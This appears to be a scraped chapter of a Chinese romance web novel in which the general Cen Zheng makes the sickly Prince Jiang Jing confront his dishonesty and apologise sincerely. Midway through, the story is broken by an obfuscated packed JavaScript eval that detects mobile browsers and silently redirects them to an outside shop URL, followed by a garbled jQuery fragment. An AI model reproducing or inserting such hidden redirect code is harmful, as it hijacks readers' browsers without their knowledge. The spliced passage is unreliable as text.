文趣网 > 其他小说 > 开局救皇帝,他报恩把亲弟嫁我了? > 8. 如何成为病弱美男的白月光
    岑铮并不接话,目光落在了身侧还一丝不苟,躬身维持着行礼姿势的宋驰身上。

    姜璟明了,当即朝她所在的方向虚虚扶了一下,温声道:

    “宋小将军无需多礼”

    给足了岑铮面子。

    岑铮面色稍霁,做了个“请”的手势。

    姜璟也笑盈盈地回了个“请”的手势,最终以他落后姜璟半步的位次,进了侯府。

    “楚王殿下,不知来我府上,有何公干?”

    众人方才落定,岑铮就很直白的抒发着自己的不满,她才不憋着,等下给自己憋出病来了怎么办?

    莫生气,气出病来无人替。

    再说了,这事本就是姜璟做的不对。

    若是他真心要来她府上,她自然不会推拒,必当开门迎客。

    但是他今日这般,堂而皇之地搬出了亲王仪仗卤簿,大摇大摆地从楚王府往平远侯府来,分明就是以势压人,叫她不能不拒绝不说,还必须恭恭敬敬的招待。

    可怜她的滔天战功,她的天子义妹身份,若她真是男子,此刻早就封王了,娇妻美眷,何苦受这等窝囊气?

    不过,女子之身未必完全没有好处,很多时候,她能赢,都是因为对面因为她是女子而轻视她,小瞧她。

    反者道之动,有些时候纵然看起来是劣势,却也未必不可化为己用。

    岑铮忽然想到从前某位老祖宗的话:“人呐,可以输一百次,但一定要赢最后一次。”

    方才被姜璟的美色蛊惑了一瞬,竟然差点忘记了他可是一个纯正的封建贵族。

    姜璟下意识地解释道:

    “无咎见谅,我——”

    话还没说完,已经被岑铮打断。

    “楚王殿下,今日既然是为了国事,便请称呼本侯的爵位,平远侯,或者大将军,都可。”

    姜璟深呼吸了一口气,强迫自己冷静下来,他知道,岑铮最讨厌别人以势压人了,方才确实是他做的不对。

    为今之计,若想要让她原谅自己,恐怕只有坦白目的,认错这一条路了。

    可他毕竟是楚王,是男子,代表的是皇家的颜面,而这厅堂之内,有宋驰,还有挎刀侍立的八个女军士。

    这也太失礼了。

    姜璟的目光恳求似地看向岑铮,希望她能将人都请走,只留下他和岑铮两个人就好。

    岑铮看到了吗?

    她看到了。

    但她没有吭声,也没有表态,反而老神在在的端起茶盏,淡然的饮着茶。

    这是姜璟自己选的路,如果连最基本的诚实都做不到,只想着耍小聪明的话,那往后过得只怕不会比今日舒服。

    如果姜璟留下来,坦白道歉,就表明他有真的想要和她在一起的决心,而如果他在此刻挥袖离去,他依然会是高高在上的楚王,是她岑铮相敬如宾但是形同陌路的名义上的丈夫。

    姜璟看着岑铮,他当然知道这是她的下马威,也知道这是她不曾明说的惩罚。

    姜璟面上仍旧正襟危坐,只是已经捏到泛白的指尖,和已经湿透了的里衣在无声的宣告着些什么。

    他坐着,身上刻意的熏香因为体温的上升而更快地逸散着,这让他不由得脖颈连带着锁骨的那一块都在发热。

    在场明明没有一个人将目光落在他身上,但是他却感觉所有人都在看着他,都在嘲笑他,嘲笑他确实是个没用的人,竟然连管理身上气味这点小事都做不好。

    此刻他生出一种如望山岳的无助,他的目光再次隐晦地落在岑铮身上,悄悄地描摹着她的容颜,他感觉自己似乎永远也无法拥有她的心了。

    她明明坐得离他这么近,却又那样的远,就像从前无数次得胜回营的时候,她的身边永远围着一大群人,这些人簇拥着她,欢呼着她,她永远都是人群的焦点。

    而他,因为这天生病弱的身躯,所以只能远远地站在营帐地门口望着她,他也想为她的胜利而庆祝欢呼,明明他是她的阿弟,她没有家人了,那他也就是她最为亲近的几个人之一了不是吗?

    但是为什么呢?为什么呢?

    为什么她总是来去匆匆,看到他就苦着一张脸,是因为他讲课讲得不好吗?还是因为他提醒她不要忘记交宋夫子的课业而恼怒吗?

    可她为什么没有恼怒宋夫子,反而看到他就要哀嚎呢?

    姜璟越想越难受,他从小被分到的注意力就少的可怜,而这少的可怜的注意力里,竟然大半的关心与甜蜜都是来自眼前这个独独对他冷漠的女人。

    阿兄关心,却也只是为了在阿娘面前有话可讲,兼之公务繁忙,每次相见也不过只言片语,匆匆带过。

    阿娘也忙,阿兄管前线,阿娘要管后方的内政,整日里也是忙得脚不沾地,而他,被丢给下人带着。

    自从岑铮出现后,他每日里最盼望的,已经不再是宋夫子的夸奖了,而是可以见到岑铮,这个突然出现的义姐,她总会在训练时、得胜时,专门带东西回来与他分享。

    有从敌军那里收缴的小刀,也有俘获的辽国钱币金银,还有路边的野果、开的正好的鲜花,以及一个带着野性与自由的风的拥抱。

    她不忙时,也总会骑着马带他出去采风,他的马也是她专门寻来的,一匹温驯又厉害的千里马。

    她说:“你不能习武,拿剑杀不了敌人,那么你要会跑,练好骑射,只要活着,就有希望。”

    小小的他曾问过:“那阿姐呢?”

    岑铮说:“阿姐会拎着陌刀保护你,你放心跑,不必回头。”

    到底为什么,会变成现在这样,为什么他的阿姐不如小时候喜欢他了呢?

    是他不如小时候生的好看可爱了吗?

    我该用什么留住你呢?

    姜璟看着岑铮,他想,有错的人终归要接受惩罚,只要是岑铮想要的,他不过丢些颜面,又能算得了什么呢?

    岑铮并不知道他到底在想些什么,为什么想着想着,身上的味道就变了,变得像一颗苦涩的橙子。

    姜璟下定了决心,他缓缓起身,因为紧张而止不住颤抖的身躯一寸一寸地弯了下来,他连眼也不敢抬,小声,但足够郑重道:

    “对不住,都是我的错。”

    没有回应。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682924|207730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>姜璟死死地咬着下唇,任由羞赧又焦急慌乱的泪水顺着脸庞留下,一滴、两滴、三滴地落在地砖上,发出“滴答”的声音。

    这让他愈发想要收敛自己的动静,却无能为力,只能顶着通红的眼眶,顶着在场众人戏谑的视线,像个被剥去一切伪装的、等待审判的罪人,在神明面前剖白袒露着自己的罪过,以祈求法外开恩的宽恕。

    “我不应该用满朝文武的视线,也不该用楚王的王位来压你,我不该对你不诚实,我应该提前与你报备,而不是罔顾你的想法,自私地用下流的手段去满足我的欲望,我不该......”

    “嘘。”

    岑铮的指抵住了姜璟的唇。

    姜璟腿一软,却仿佛如释重负,终于找到主心骨一般的“噗通”跪了下来,将美丽又因为紧张、羞耻而虚弱的头颅轻轻地靠在岑铮的肩头,鼻尖贪婪地汲取着她身上的气息。

    那是风的味道。

    而风,来去自如,注定不会为人间而停留。

    但此刻,他竟然被允许依靠在她的肩头,这简直是莫大的幸运。

    姜璟的这口气还没松多久,岑铮的下一句话却又将他的心再次高高吊起,而底下,就是万劫不复的深渊。

    “你说错了。”

    错了?

    哪里说错了?

    姜璟浑身僵硬,仿佛在一瞬间,血液停止流动,他体温骤降,如坠冰窟。

    岑铮看着他,双手叉着他的臂膀,硬生生用着无可匹敌的力量,将姜璟提了起来,帮他站直了身躯。

    “其一,你不够真诚。

    其二,你不够直面你自己。”

    看着眼泪横流,眼尾殷红,美若春花秋月的脸,岑铮抬手,轻轻用衣袖为他拭去了眼角多余的泪。

    轻轻叹了一口气,道:

    “你睁开眼看看,这里没有别人。”

    闻言,姜璟颤抖着狭长的睫羽,睁开了那双美丽的桃花眼。

    没人?

    竟然真的没有人!

    这一刹那,一种莫名的感觉席卷了他,首先是欢喜,他的阿铮对他果然还是有感情的,并没有让那些无关人等留下来看他的不堪。

    紧接着就是疑惑。

    那他,是还有哪里做的不好吗?不然阿铮为什么不满意呢?

    岑铮似乎会读心术一般,双手搭在他的肩膀上,像是在教导一个不听话的学生一样,苦口婆心道:

    “你觉得,我是这种喜欢折辱人的人吗?你觉得,我喜欢看别人在我面前诚惶诚恐战战兢兢仿佛失去自我的样子吗?”

    她看着姜璟没什么表情变化的脸,顿了顿,又道:

    “你觉得,我会愿意一个没有自我的人做我的夫君吗?”

    姜璟表情骤变,大惊失色。

    他从来都不傻,只是他被那份害怕失去的急切给钳制,以至于丧失了平时冷静判断的能力。

    岑铮要的从来不是一个人失去自我的投诚,她要的,是一个真诚而平等的对话。

    她不需要她的伴侣对她诚惶诚恐,那是弱者才会干的事情,因为他们太没有安全感。